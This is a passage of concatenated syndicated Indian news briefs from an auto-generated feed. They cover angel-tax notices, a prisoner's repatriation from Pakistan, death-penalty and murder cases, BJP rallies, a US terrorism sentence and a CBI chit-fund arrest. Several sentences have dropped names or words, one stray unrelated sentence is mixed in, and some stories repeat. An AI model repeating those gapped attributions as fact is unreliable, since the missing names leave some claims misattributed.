Karnataka. Delhi BJP president Manoj Tiwari and leaders of other parties too paid rich homage to the late leader on the occasion. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) (IT) industry veteran Thursday expressed serious concern over the issue of notices to start-ups, and sought its withdrawal. "Clearly, this is a dampener to the whole entrepreneurial ecosystem," the co-founder and former of Gopalakrishnan told PTI. Section 56 of the Income Tax Act provides that when the shares of a closely-held company fetch a price more than its fair market value, the amount received in excess would be taxed as income of the firm from other sources. Gopalakrishnan, who is chairman of and former of the Confederation of Indian Industry, said there was no way one can come out with exact valuation for a start-up. "Sometime back, they (the government) had said it (angel tax) will not be levied, but it's happening," he said and hoped the government would respond to the representation made by the industry and those from the entrepreneurial ecosystem to withdraw the notices. In April last, the government had given relief to start-ups by allowing them to avail themselves of tax concession if total investments, including funding from angel investors, did not exceed Rs 100 million. Commerce and Industry Minister Suresh Prabhu has said his ministry has raised the issue with the ALSO READ: Have taken up 'angel tax' issue of startups with FinMin: Suresh Prabhu Several start-ups have raised concerns over taxation of angel funds under Section 56 of the Income Tax Act, which provides for taxation of funds received by an entity. An angel investor is the one who funds a start-up when it is taking baby steps to establish itself in the competitive market. The government launched the start-up initiative in January 2016 to build a strong ecosystem for nurturing innovation and entrepreneurship. Back home after six years in a Pakistani jail, software engineer Hamid Nihal Ansari Thursday said he wants to move on, instead of 'reopening old wounds' about the pain he endured during this period. Ansari, 33, who reached Mumbai to a cheering welcome by friends and relatives, said he wants to get a job and then find a suitable match for himself (pehle naukri phir chhokri). "I don't want to recall what happened with me (while in Pakistan). I want to look at the future," he said. Ansari was arrested in Pakistan in 2012 for allegedly entering that country from Afghanistan reportedly to meet a woman he had befriended online. Pakistan slapped espionage charges against him. He was repatriated on Tuesday and handed over to India at the Wagah-Attari border. Ansari and his parents landed here Thursday morning from Delhi by an Air India flight. Relatives, friends and well-wishers greeted and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. When they reached home, they were greeted by a large number of neighbours who were waiting to catch his glimpse. Speaking to media persons at the airport, Ansari said, "I made some mistakes but now I want to look ahead to the future." "I can't describe my feelings of the moment I crossed the border and touched the Indian soil and caught a glimpse of my parents, who were waiting on the Indian side," he said. "I then realised how much they must have suffered for me. I wanted to meet them immediately, but could not as I was on the Pakistani side for some time," Ansari said. Asked about an eye injury he apparently suffered during interrogation at the Pakistani prison, Ansari said the interrogation process cannot be avoided. "During the interrogation, the retina of my eye got ruptured. But, they admitted me to a government hospital and it was treated...they compensated for it (treatment)," he said. Ansari attributed an alleged attack on him in Peshawar prison to a "misunderstanding" which escalated. On his plans, the software engineer said first there will be a celebration with the family. "I have to find a job and after that I also have to find a woman to get married," he said. Ansari was imprisoned in the Peshawar jail after being sentenced by a military court on December 15, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken due to relentless pressure from New Delhi, they said. Shortly before he reached India, his mother Fauzia had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father Nihal had said it was a new dawn for them. Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave Pakistan government a month's time to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chief Judicial Magistrate Anand Prakash Singh fixed December 21 for taking cognizance on the chargesheet submitted in connection with Apple area sales manager Vivek Tiwari's killing on September 29. The charge sheet was filed in the court on Thursday. Taking the chargesheet on record, the court has also summoned the two accused - Prashant and Sandeep -- from jail on the date. Station House Officer of Mahanagar Police Station Vikas Kumar Pandey submitted the chargesheet in the court and requested the court to correct the custody warrant after summoning the accused from jail. The SHO also requested the court to take cognizance of the offences. The chargesheet came against Prashant under section 302 IPC while against Sandeep under section 323 IPC. Meanwhile, Vivek's wife Kalpana Tiwari moved an application in the court seeking its permission to hear her stand before taking cognizance of the offences. On the other hand, the sessions judge deferred hearing on the bail plea of Sandeep till January 1. On September 29, the constable had shot at the 38-year-old Apple store manager, who was in an SUV, after he allegedly refused to stop his car in Gomti Nagar. A Special Investigation Team (SIT) of the UP Police had suggested in its report that constable Prashant Chowdhary had opened fire "without any provocation" at Apple employee Vivek Tiwari, leading to his death. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A top Army commander Thursday visited forward posts along the Line of Control (LoC) in Jammu and Kashmir's Poonch and Akhnoor sectors and reviewed the operational preparedness of the personnel and the prevailing security situation, a defence spokesperson said. General Officer Commanding-in-Chief, Northern Command, Lt Gen Ranbir Singh exhorted all ranks to remain vigilant to counter the nefarious designs of the enemy and anti-national elements, he said. Accompanied by White Knight Corps Commander Lt Gen Paramjit Singh, the Northern Army commander was briefed on the prevailing security situation and the preparedness of the formations. He was also briefed on the actions taken to ensure a robust counter-infiltration and counter-terrorist grid to maintain peace and stability in the region, the spokesman said. He said the commander interacted with the soldiers and complimented them for their unwavering dedication to duty and high standard of professionalism. The commander was appreciative of the measures and standard operating procedures instituted by the units and formations in their area of responsibility to minimise casualties due to ceasefire violations and infiltration bids, the official said. Lt Gen Singh was also updated by the White Knight Corps commander about the operations conducted in the recent past, the spokesman said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Uttar Pradesh Chief Minister Yogi Adityanath Thursday claimed his government has ended discrimination in the name of caste and religion that was "common" during the previous dispensations. Attacking the SP and BSP governments, he claimed there was an "atmosphere of corruption and anarchy" which his government has changed and provided security for all. In an apparent dig at the previous Samajwadi Party government, Adityanath said, "If state capital Lucknow is getting 24-hour power supply, Mainpuri and Etawah will also get it." Mainpuri and Etawah are considered the Samajwadi Party's strongholds. "Discrimination in the name of caste and religion, that was common during the previous governments, has been brought to an end as it is the biggest betrayal in democracy," the chief minister told the Legislative Assembly while intervening in the second supplementary budget tabled on Wednesday. "We have created an atmosphere that is conducive for investment and the state has emerged as the favourite destination for investors," he said, citing various works taken up in the field of infrastructure development. On reports that potato farmers were throwing their produce on roads in the state capital, Adityanath said, "It (the reports) was an effort to give a message that government was not concerned about the potato growers, while this is the first government which has declared minimum support price for potato." The Yogi government on Wednesday tabled Rs 8,054 crore a second supplementary budget, which was passed by the house Thursday. Earlier, members of opposition parties including the Samajwadi Party, the BSP and Congress staged a walkout from the House over farmers' plight and expressing dissatisfaction over government's reply over an adjournment notice. The house also witnessed an unusual moment when ruling party MLA Ashok Chandel led about a dozen members of the treasury bench to highlight issues related to Bundelkhand. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) West Bengal BJP chief Dilip Ghosh Thursday hailed the Calcutta High Court order permitting holding of the party's 'Rath Yatra' in the state, and said the programme will begin "very soon" and according to "schedule". The 'Rath Yatra' is being touted by the saffron party as 'Gantantra Bachao (Save Democracy) Yatra'. Allowing the 'Rath Yatra', Justice Tapabrata Chakraborty directed the state BJP to inform the superintendents of police of the districts in which the rallies shall enter at least 12 hours ahead of schedule. The court also told the state BJP to ensure that the 'yatras' are conducted abiding the law and not impede normal movement of vehicular traffic. The West Bengal government on Saturday had refused permission for the BJP's 'Rath Yatra', citing intelligence reports of possible communal violence in areas where the party was planning to take out the yatra. Reacting to the HC order, Ghosh said, "We thank the court for its verdict. It is a historic one. The Gantantra Bachao Yatra will start very soon and will be held as per schedule." "We have already submitted new dates but we can adjust the dates accordingly. We will follow all the instructions given by the court," he told PTI. Ghosh said the BJP state and central leaders will now decide the party's next course of action regarding the dates. According to state BJP sources, the new dates are December 22 from Coochbehar district, December 24 from South 24 Paraganas district and December 26 from Tarapeeth temple in Birbhum district. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : The Karnataka assembly witnessed repeated adjournments Thursday as the opposition BJP staged a protest for the second day, seeking clarity from the government on the farm loan waiver scheme. BJP members also squatted in the well of the House, demanding that Chief Minister H D Kumaraswamy apologise to the leader of the opposition B S Yeddyurappa for his comments against him during the debate in the assembly on Wednesday. As the House met for the day, BJP members trooped into the well, shouting slogans like "down down to the anti-farmer government", "loan waiver should be implemented". Hitting back, members of the treasury benches asked what moral right the BJP members had to call the government anti-farmer when they had done nothing for the farming community and farm loan waiver. With heated exchanges between both sides, pandemonium broke out. The BJP has sought clarity from Kumaraswamy on loan waiver and the exact day by which debt free certificates would be issued to farmers. They also want him to apologise to Yeddyurappa for accusing him of colluding with nationalised banks, who, they said, are now non-committal on their earlier one-time settlement offer to NPA accounts. Yeddyurappa said that the BJP has cooperated with the government for the smooth functioning of the House from the day the session began on December 10. "We behaved as a responsible national party, but in return I was humiliated for questioning this government over lack of clarity on farm loan waiver," he said. Farmers' suicides was the major 'achievement' of this government, Yeddyurappa said. He said Kumaraswamy and his ministers were claiming that about Rs 45,000 crore farm loans had been waived in the last six months, but had only waivedRs 50 crore from nationalised banks till now. There was no clarity from cooperative banks also, he said. The Chief Minister's reply had no seriousness or clarity, and when questioned, "he has insulted me", Yeddyurappa said. "The Chief Minister has to apologise for his remarks and clarify on farm loan waiver. Until then our protest will continue," he said. BJP members continued their protest in the well, following which the Speaker Ramesh Kumar adjourned the House. When the House resumed after a gap of over an hour, BJP members continued with their slogans "down down to anti farmer government", "loan waiver should be implemented". As the Speaker's repeated attempts to pacify BJP MLAs failed, he adjourned the House till lunch. When the House resumed in the post-lunch session, BJP persisted with its protest and Congress members tooshouted slogans against the opposition. The Speaker then adjourned the House till tomorrow. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BJP's women workers and leaders will hold a two-day meet in Gandhinagar from December 21 to discuss a host of issues, including their role in the party's preparation for the 2019 Lok Sabha elections. The mega meet will be held at an open ground behind Trimandir, a temple complex near Adalaj village in Gandhinagar district, a party official said. Defence Minister Nirmala Sitharaman has been invited for the inaugural function on Friday and Prime Minister Narendra Modi would attend the closing ceremony on December 22, BJP Mahila Morcha's national president Vijaya Rahatkar told reporters here Wednesday. "We have organised various sessions to deliberate on our role in the forthcoming Lok Sabha polls. We would like to draw a road map and how the Mahila Morcha can implement it on the ground," Rahatkar said. Over 5,000 women BJP workers would get guidance from various national party leaders and central ministers during the two-day meet, she said. ALSO READ: Lok Sabha polls 2019: 5 things Modi should do after BJP's recent defeats Union ministers Smriti Irani and Sadhvi Niranjan Jyoti, BJP leaders Saroj Pandey, Ram Lal and Bhupender Yadav, among others, are expected to participate in the convention. The sessions are only for 5,000 women BJP workers and leaders invited from across the country, but over 20,000 women party workers would attend the closing ceremony on December 22, Rahatkar said. An engineering report deemed the steep ramp a public safety hazard. It will be closed for two years, during which time, officials hope to make it ADA compliant. A powerful bomb exploded at the residence of a village pradhan (chief) in Manipur's Imphal East district, causing panic among local people, a police officer said. No one was injured in the incident, he maintained. The blast, triggered by suspected militants of proscribed outfit PREPAK (PRO), caused damages to the village chief's residence and property at Nongpok Awang Leikai village in Lamlai police station area, 15 km from the capital town, the officer told PTI. The reason behind attack was yet to be ascertained, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Bombay High Court Thursday upheld a trial court verdict awarding the death penalty to a man convicted of raping and killing a 23-year-old woman techie from Andhra Pradesh here in 2014, describing him as a "menace to the society". The convict, 30-year-old Chandrabhan Sanap, was pronounced guilty by a special court in 2015 and awarded the death sentence. A bench of Justices Ranjit More and Bharati Dangre dismissed an appeal filed by Sanap (30) challenging the trial court verdict. The bench was simultaneously hearing Sanap's appeal and the Maharashtra government's plea for confirmation of Sanap's death sentence. Reading out the operative portion of the verdict in an open court, the bench observed the defence had failed to bring on record any "mitigating" circumstances or evidence to help Sanap's case. The judges also said Sanap had "failed to show any remorse," and that there was "no possibility of his reformation". "There is no mitigating circumstance or evidence on record in favour of the convict. He has been married thrice... he has shown no remorse and his actions shook the collective conscience of the society," the bench noted. "He (Sanap) is a menace to the society," the bench said. On October 30, 2015, a special court had convicted Sanap of raping and murdering the woman after picking her up from the Lokmanya Tilak Terminus (LTT) Railway Station under the false promise of dropping her to her hostel in Andheri in his taxi. The software professional, originally a native of Andhra Pradesh, was employed with a leading IT firm in Mumbai. The trial court had observed that the case falls under the 'rarest of rare' category. According to the prosecution, the techie had returned to the city on January 5, 2014, after visiting her family in Machilipatnam. She met Sanap at the LTT station in suburban Kurla. He posed as a private taxi driver and offered to drop her in her hostel in Andheri for Rs 300. The woman agreed to board his taxi and on the way Sanap raped and killed her, the prosecution said. He dumped the body in the bushes along the Eastern Express Highway in Bhandup, it said. After an extensive search by her family and the police, the body was found on January 16, 2014. Sanap was arrested in March that year and charged with murder, rape, abduction and other offences under the relevant sections of the Indian Penal Code. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Bombay High Court Thursday confirmed the death penalty awarded to a 30-year-old man for the rape and murder of a woman techie, saying the maximum punishment was appropriate in the case, considering "increasing incidents of crime against women" in India. Chandrabhan Sanap, was pronounced guilty by a special court in 2015 and awarded the death sentence for the rape and murder of the 23-year-old software professional who was employed with a leading IT firm in Mumbai. A bench of justices Ranjit More and Bharati Dangre said while the 2012 (Delhi) gang rape case -- where the victim was a paramedical student -- brought in a criminal amendment to make rape laws stricter, incidents such as the Shakti Mills rape case here and countless other cases of sexual assault continued to take place across the nation. "The increasing incidents (of crime against women) have led to the entire womenfolk in the country questioning their safety. They expect the legislature and the judiciary to restore their faith in the system," the bench said. The judges described the convict as a "menace to society" and said rising crime against women should be tackled on all fronts. "Crime against women, which are on the rise, need to be tackled on all fronts in a manner which should respond to the society's cry for justice against such criminals. "The victim was done to death by the accused for no fault of her own, except for a reason that she is a woman and she fell prey to the sinister design of the accused to fulfil his lust. The said attitude of the accused, according to us, deserves a death sentence," the bench said. The verdict came following an appeal filed by Sanap, who had challenged an October 2015 order of the trial court convicting and sentencing him to death on charges of rape, kidnap and murder. The Maharashtra government had filed a plea seeking that Sanap's death sentence be ratified by the high court. As per the prosecution, on January 5, 2014, the victim reached the Lokmanya Tilak Terminus railway station in suburban Mumbai from her native place in Andhra Pradesh after visiting her parents during a small break from work. Around 5 am, she met Sanap outside the station and he offered to drop her to YWCA hostel in suburban Andheri, where she stayed, on his motorbike in return for Rs 300. She agreed to his offer. However, on the way Sanap took her to a secluded spot near Kanjurmarg, raped and killed her, said the prosecution. He partially burnt her dead body and dumped it in the bushes off the Eastern Express Highway, where it was found by the victim's family on January 14 that year. While Sanap denied all charges against him, the trial court convicted him, holding the case falls in the "rarest of rare" category and thus, warranted the death sentence. On Thursday, the high court agreed with the trial court order and held that the case was the rarest of rare one and that the "enormity" of Sanap's crime had "shocked the conscience of the society". "The offence of murder was committed for a petty achievement of satisfying the lust of the accused (Sanap). He was barbaric, and showed no regard to the life of a happless young girl," the bench said. The judges also dimissed the defence's plea for leniency on the ground of Sanap's good conduct as an under trial. They said Sanap was "a menace to the society" and that he showed no possibility of reformation. The bench also lamented that women in the country were having to face rampant attacks on their safety and wellbeing. "In the modern scenario, women don't expect to be worshipped. However, they surely expect to be able to breathe safe, and feel safe in and outside of their houses," the bench said in its 167-page verdict. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) British police investigating the murder of an Indian-origin woman in Birmingham over 22 years ago are hopeful of solving the case after finding some DNA clues. Surinder Kaur Varyapraj was last seen outside her home on January 4, 1996, but the decomposed body of the 36-year-old mother of three was found in her bedroom only on March 5 that year. Detectives, who have not been able to match the DNA profile to anyone on their databases, want to trace a man who lived nearby and believe the answer "lies within the community". "This was an horrific act and we are still doing all we can to deliver justice for the family of Surinder," Sab Johal, an investigator on the West Midlands Police Cold Case Review Team, told BBC this week. Varyapraj's body was discovered after a shopkeeper reported concerns she had not been seen for several weeks. She had been strangled with some sort of ligature, detectives said. Neighbours told officers at the time that they heard loud banging noises before midnight on February 5, 1996, as well as a "brief high-pitched scream". Varyapraj was divorced and lived alone as her children, a boy aged 14 and two girls aged 15 and 12 at the time, lived with her ex-husband. Since the DNA was uncovered recently, several people have been eliminated from the original inquiry, but detectives said they wanted to trace the man who lived near Varyapraj. Investigator Johal believes the man mentioned by witnesses drove a Jaguar XJS, with the partial registration plate of RAJ. "We think someone may know who he is or remember the car," he said. He urged people who think they know who the man is to come forward, adding that identities could be protected, and also appealed for the man himself to get in touch. "If you are that person and you were not involved in the death of Surinder, you can come forward and be eliminated through DNA comparison," Johal said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The BJP Thursday welcomed the Calcutta High Court's decision to allow the party's rath yatras in West Bengal as a "victory of democracy" and said the rallies will begin "very soon". The rath yatra programme is scheduled to be inaugurated by party chief Amit Shah. Addressing a press conference at the party office here, senior BJP leader and Union minister Prakash Javadekar said,"It is a victory of democracy. What the state government was doing was unconstitutional." Another party leader, Bhupender Yadav, said, "Now, the yatras will begin soon. It will ensure the party's victory in the state in the coming days." Senior party leader and Union Finance Minister Arun Jaitley hit out the ruling Trinamool Congress in West Bengal for denying permission for its rally and questioned the "silence" of opposition on the issue. "Why are human rights activists and opposition parties silent on denial of a right to a political party to organise its programme in West Bengal. If any NDA/BJP Government had stopped an opposition Programme, it would have been called an Undeclared Emergency. Why Silence now?" Jaitley tweeted. The BJP's West Bengal unit head Dilip Ghosh said the 'rath yatras' in the state will begin "very soon". "I can assure that there will be no breach of law and order from our part," he said. The party had planned three 'rath yatras' from different parts of West Bengal which will travel across the state's 42 parliamentary constituencies. The rallies are part of the BJP's aggressive campaign to make inroads in the state, where it is gradually increasing its vote share. It has three MLAs in the 294-member Assembly and two Lok Saha MPs from the state. On December 6 a single-judge bench of the HC had refused permission to the BJP to hold the 'rath yatra' programme, which was scheduled to be flagged off by BJP chief Amit Shah from Cooch Behar in North Bengal on December 7. The party had then approached the division bench. The division bench had on December 7 asked the state chief secretary, the home secretary and the director general of police to hold a meeting with three representatives of the BJP and take a decision on the 'yatra' by December 14. After parleys with the BJP team, the three officers refused permission for the rallies on December 15 on the grounds that it might lead to communal tension. The state BJP had moved the court again challenging the government's denial of permission to its programme. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 20-year-old Canadian citizen has been sentenced to 40 years in prison in the US for plotting with an individual residing in Pakistan to conduct bombings and shootings in New York City's popular Times Square and subway system during the Islamic holy month of Ramzan in 2016. Abdulrahman El Bahnasawy, a Canadian citizen and resident, was sentenced to 40 years in prison for plotting to carry out the terrorist attacks in New York City during the summer of 2016 in support of the Islamic State (ISIS). He had pled guilty in October 2016 before US District Judge Richard Berman to a seven-count superseding information charging him with terrorism offenses. "In the name of ISIS, Abdulrahman El Bahnasawy planned an elaborate attack to wreak havoc and destruction on New York City," United States Attorney for the Southern District of New York Geoffrey Berman said. Berman added that El Bahnasawy planned to detonate bombs in Times Square and the New York City subway system, and to shoot civilians at concert venues. "Demonstrating his commitment to carry out the attacks, El Bahnasawy pinpointed bomb locations on a map of the subway system, and acquired an array of bomb-making materials. El Bahnasawy aspired, in his words, to create the next 9/11'," Berman said. According to the Indictment, El Bahnasawy, using encrypted electronic messaging applications, plotted with 20-year-old US citizen residing in Pakistan Talha Haroon and 38-year-old Philippines citizen Russell Salic to conduct bombings and shootings in heavily populated areas of New York City during the Islamic holy month of Ramzan in 2016, all in the name of ISIS. He acquired bomb-making materials and helped secure a cabin within driving distance of New York City to use for building explosive devices and staging the NYC attacks. Haroon allegedly made plans to travel from Pakistan to New York City to join El Bahnasawy in carrying out the attacks. As the two prepared to execute the NYC attacks, Salic allegedly wired money from the Philippines to the United States to help fund the terrorist operation. An undercover FBI agent infiltrated the co-conspirators' terrorist plot, posing as an ISIS supporter prepared to join in the attacks. The FBI arrested El Bahnasawy in May 2016 after he traveled from Canada to the New York City area in preparation for the attacks, and he has been in custody since that time. Haroon was arrested in Pakistan in September 2016, and Salic was arrested in the Philippines in April 2017, based on complaints filed against them in Manhattan federal court, and they remain in foreign custody pending proceedings for their extradition to the United States. In addition to the prison term, El Bahnasawy was sentenced to lifetime supervised release. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Capri Global Housing Finance Thursday said the company aims to reach Rs 7,000 crore asset under management in the next four years. "Capri Global Housing Finance Ltd, a subsidiary of Capri Global Capital Ltd, aims to clock 29x AUM growth to cross Rs 7,000 crore over the next four years," it said in a release. The company mainly caters to the affordable housing sector and small businesses (MSMEs). Capri Global Housing said it is aligned to Prime Minister Narendra Modi's mission to provide housing for all under the Pradhan Mantri Awas Yojana driven by the United Nations Development Assistance Plan (UNDAP). "India is urbanising at the rate of 1.2 per cent a year and we remain optimistic about the growth in our housing finance segment," said Rajesh Sharma, founder and managing director, Capri Global Capital. The company currently has presence in northern and western regions and plans to expand the business in Tamil Nadu, Karnataka and Andhra Pradesh. The company added that it is planning to set up a network with over 200 branches by 2022-23. Capri Global Capital's total AUM is Rs 3,489 crore and the net worth of the company is Rs 1,302 crore. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Union Minister Kiren Rijiju Thursday asked the voters of his parliamentary constituency to carry out audit of the works he had done in the last four and half years after being elected as MP from Arunachal West Parliamentary seat. "I have been elected by the people of my constituency at the time when I did not have any support. It is my utmost duty to work for my people who supported me with full faith. I am your representative and if I cannot bring any development in the state, it is useless for me to stay in New Delhi," the Minister of State for Home said while addressing a meeting here. He said, being a representative from the state, it is his moral responsibility to take up all vital issues of the state with the Centre. Lashing out at the opposition Congress, Rijiju said that what the NDA government under Prime Minister Narendra Modi did for the North East region in the past four and half year, the previous regime could not do even in several decades. Terming road as the panacea for development, the Union minister while referring to the Potin-Panging stretch of Trans Arunachal Highway (TAH) said that the road could not took off even after several years of sanction in 2008, due to fault of the state government. "The project was not delayed by the Centre but by the state government as tender for the vital road was floated in 2012 and all codal formalities including land acquisition process could not be completed within the stipulated time," Rijiju said. Terming compensation issue in vital road projects in the state as a major roadblock to development, he urged the people to cooperate with the government if they want development in real sense. He added that the Ministry of Road Transport and Highways (MoRTH) had already sanctioned the Dumporijo to Dollungmukh road and the detailed project report for the road is under preparation. He also disclosed about the 20 crore worth water supply project for Ziro-Hapoli assembly constituency in Lower Subansiri district which has already been sanctioned by the Centre. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A state-run school in Bihar's Vaishali district has been found allegedly segregating students along caste and religious lines, prompting the government to order an inquiry, an official said Thursday. The district administration has also asked the Bihar department to take "exemplary action" against the school's principal as the "allegations have been found to be, prima facie, true". District Magistrate Rajiv Raushan said the inquiry was ordered following media reports claiming that students belonging to different castes and religious communities were made to sit separately at the G A Higher Secondary School in the district's Lalganj block. He said they have also written to higher authorities in the department to take "exemplary action against the school's principal in order to deter others from adopting such practices". Students from scheduled castes, scheduled tribes, other backward classes and upper castes, as well as from the Hindu and Muslim communities, were assigned separate sections in their respective classrooms, according to the reports. The reports had also claimed that separate attendance registers were, therefore, being maintained for students belonging to different social segments even though the children freely intermingled outside the school. "The allegations have been found to be, prima facie, true in the inquiry. This is a very serious and sensitive matter," the district magistrate said. Orders have been issued to immediately do away with the discriminatory system prevailing at the school, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After repeated questioning by enforcement agencies for four years, the CBI Thursday arrested Suman Chattopadhyay, editor of of a leading Bengali daily, in connection with West Bengal's ICore chit fund scam, officials said here. Chattopadhyay, editor of Ei Samay, was summoned to the CBI office in Kolkata after several rounds of questioning and was placed under arrest by officials, they said. The scribe, who is also a director in Disha Productions and Media Private Limited (DPMPL), was questioned in an on-going investigation of a case registered against the ICore Group, a ponzi scheme company. Investigation has revealed that funds collected illegally by the ICore Group were allegedly diverted in the accounts of DPMPL as well as the personal account of Chattopadhyay. The arrested scribe will be produced Friday before the Court of Special CJM in Bhubaneswar. It is alleged that he had allegedly taken "unsecured loans" from three "chit fund companies", including Saradha Group, and laundered it through two of his publishing companies, a Bengali daily and a Bengali magazine. After the arrest of Rose Valley chairman Gautam Kundu in 2015, the Police had arrested managing director of ICore group Anukul Maiti for allegedly running Ponzi schemes. The journalist has been earlier grilled by the CBI as well as the Enforcement Directorate along with his wife Kasturi in connection with the Saradha financial scam. The allegation against him was that after taking a loan of Rs 50 million from Saradha Group of companies, he borrowed money from two other chit fund groups to return the money. He has been booked for alleged money laundering and round tripping of funds which entails creating bogus companies and routing illegal money using multiple transactions across Indian shores. The agency has alleged that ICore group which had allegedly raised over Rs 30 billion from people offering high returns on investments had diverted a portion of these funds through the company of Chattopadhyay who is a senior journalist in West Bengal, they said. The agency has taken over probe in the matter ICore group in 2014 registering an FIR under IPC sections related to criminal conspiracy and cheating. The case was registered on the basis of a Supreme Court order in 2014 directing the agency to take over all the cases related to chit fund companies probed by the state police. Its directors Anukul Maity and his wife Kanika were arrested by the agency last year. Microsoft has introduced the Intelligent Cloud Hub program in India. Meant for STEM, medical management and research institutions, it is designed to empower their faculty to impart future-ready skills to students. The program will also help drive disruptive innovations in research through AI. India is the first country to roll it out and Microsoft has invited participation from deemed universities and NIRF ranked institutions across the country. A 3-year collaborative program, the Intelligent Cloud Hub aims to support 100 institutions in the first three years. As part of the program, Microsoft will support selected institutions with best-in-class infrastructure onsite training for faculty and students curriculum and content access for participating students to cloud and AI services developmental tools and developer support Microsoft will set up the core AI infrastructure and an IOT Hub for all selected campuses. The company will also offer a wide range of AI developmental tools and Azure AI Services such as Microsoft Cognitive Services, Azure Machine Learning and Bot Services. Training will include development workshops to help both the faculty and students build their skills and expertise in cloud computing, data sciences, AI and IoT. Additionally, it will assist faculty in strategizing content and curricula for project-based and experiential learning. For research-focused institutions, Microsoft will provide AI-based recommendations for potential areas of research. Support will also be available in terms of an in-campus Cloud Software Research Associate throughout the duration of the program. Manish Prakash, Country General Manager-PS, Health and Education, Microsoft India, said, AI, the defining technology of our time, is fast transforming our lives, industries and society. Jobs of tomorrow will require a very different set of skills, and collaborating, training and working with AI will be as important as collaborating with people. It is now more critical than ever for education institutions to integrate new cloud and AI technologies. We need to ramp up the institutional set-up and build capability among educators to equip the workforce of tomorrow. The Microsoft Intelligent Cloud Hub Program aims to catalyze this with technology insights, cognitive skills, and a practical, in-depth understanding of developing intelligent connected solutions for application across industry and citizenship scenarios. Our vision is to make participating universities and institutions Intelligent Cloud Hubs in their own right at the end of the first three years, he added. As part of the collaboration, Microsoft will also help participating institutions in branding and to garner recognition through national showcase of selected projects. @Technuter.com News Service The CBI has arrested an editor of a prominent Bangla newspaper Suman Chattopadhyay for allegedly receiving money from a ponzi scam operator I-Core group, officials said Thursday. Chattopadhyay, who is also a director in Disha Productions and Media Private Ltd, had allegedly received money from the ponzi scam in his company account as well as his personal account, they said. The agency has alleged that the I-Core group which had allegedly raised over Rs 3,000 crore from people offering high returns on investments had diverted a portion of the funds through the company of Chattopadhyay, who is a senior journalist in West Bengal, they said. He was called for questioning at the CBI office in Kolkata Wednesday and was taken into custody on Thursday, they said. The officials said he will be produced before a special CBI court in Bhubaneswar on Friday. The agency had taken over probe in the matter of I-Core group in 2014 registering an FIR under IPC sections related to criminal conspiracy and cheating. The case was registered on the basis of a Supreme Court order in 2014 directing the agency to take over all cases related to chit fund companies probed by the state police. Its directors Anukul Maity and his wife Kanika were arrested by the agency last year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After repeated questioning by enforcement agencies for four years, the CBI Thursday arrested Suman Chattopadhyay, editor of of a leading Bengali daily, in connection with West Bengal's ICore chit fund scam, officials said here. Chattopadhyay, editor of Ei Samay, was summoned to the CBI office in Kolkata after several rounds of questioning and was placed under arrest by officials, they said. The scribe, who is also a director in Disha Productions and Media Private Limited (DPMPL), was questioned in an on-going investigation of a case registered against the ICore Group, a ponzi scheme company. Investigation has revealed that funds collected illegally by the ICore Group were allegedly diverted in the accounts of DPMPL as well as the personal account of Chattopadhyay. The arrested scribe will be produced Friday before the Court of Special CJM in Bhubaneswar. It is alleged that he had allegedly taken "unsecured loans" from three "chit fund companies", including Saradha Group, and laundered it through two of his publishing companies, a Bengali daily and a Bengali magazine. After the arrest of Rose Valley chairman Gautam Kundu in 2015, the West Bengal Police had arrested managing director of ICore group Anukul Maiti for allegedly running Ponzi schemes. The journalist has been earlier grilled by the CBI as well as the Enforcement Directorate along with his wife Kasturi in connection with the Saradha financial scam. The allegation against him was that after taking a loan of Rs 5 crore from Saradha Group of companies, he borrowed money from two other chit fund groups to return the money. He has been booked for alleged money laundering and round tripping of funds which entails creating bogus companies and routing illegal money using multiple transactions across Indian shores. The agency has alleged that ICore group which had allegedly raised over Rs 3,000 crore from people offering high returns on investments had diverted a portion of these funds through the company of Chattopadhyay who is a senior journalist in West Bengal, they said. The agency has taken over probe in the matter ICore group in 2014 registering an FIR under IPC sections related to criminal conspiracy and cheating. The case was registered on the basis of a Supreme Court order in 2014 directing the agency to take over all the cases related to chit fund companies probed by the state police. Its directors Anukul Maity and his wife Kanika were arrested by the agency last year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Police here on Thursday filed a charge sheet against former Bihar minister Manju Verma and her husband Chandrashekhar Verma who are facing trial in a case lodged after recovery of a large quantity of ammunition from their residence during a CBI raid. The charge sheet was submitted before Sub-Divisional Judicial Magistrate Prabhat Trivedi by investigating officer Ranjit Kumar Rajak wherein the couple have been charged under various sections of the Arms Act. It may be recalled that Manju Verma had resigned as the Social Welfare Department minister on August 06 following media reports wherein it was alleged that her husband had close links with Brajesh Thakur, the prime accused in Muzaffarpur shelter home sex scandal. On August 17, the CBI -- which was investigating the scandal -- raided their house at Arjun Tola locality in the district where altogether 50 cartridges of various sizes were recovered. A case was subsequently lodged at Cheria Bariarpur police station. After evading arrest for some time, Chandrashekhar Verma surrendered before the Majhaul court on October 29. The former minister moved applications for bail at the trial court and later before the Patna High Court which were rejected. The Supreme Court, which has been monitoring the investigation into the scandal, rapped the Bihar police for failure to nab Manju Verma. Manju Verma, who represents Cheria Bariarpur in the state assembly, surrendered before the court on November 20. (This story 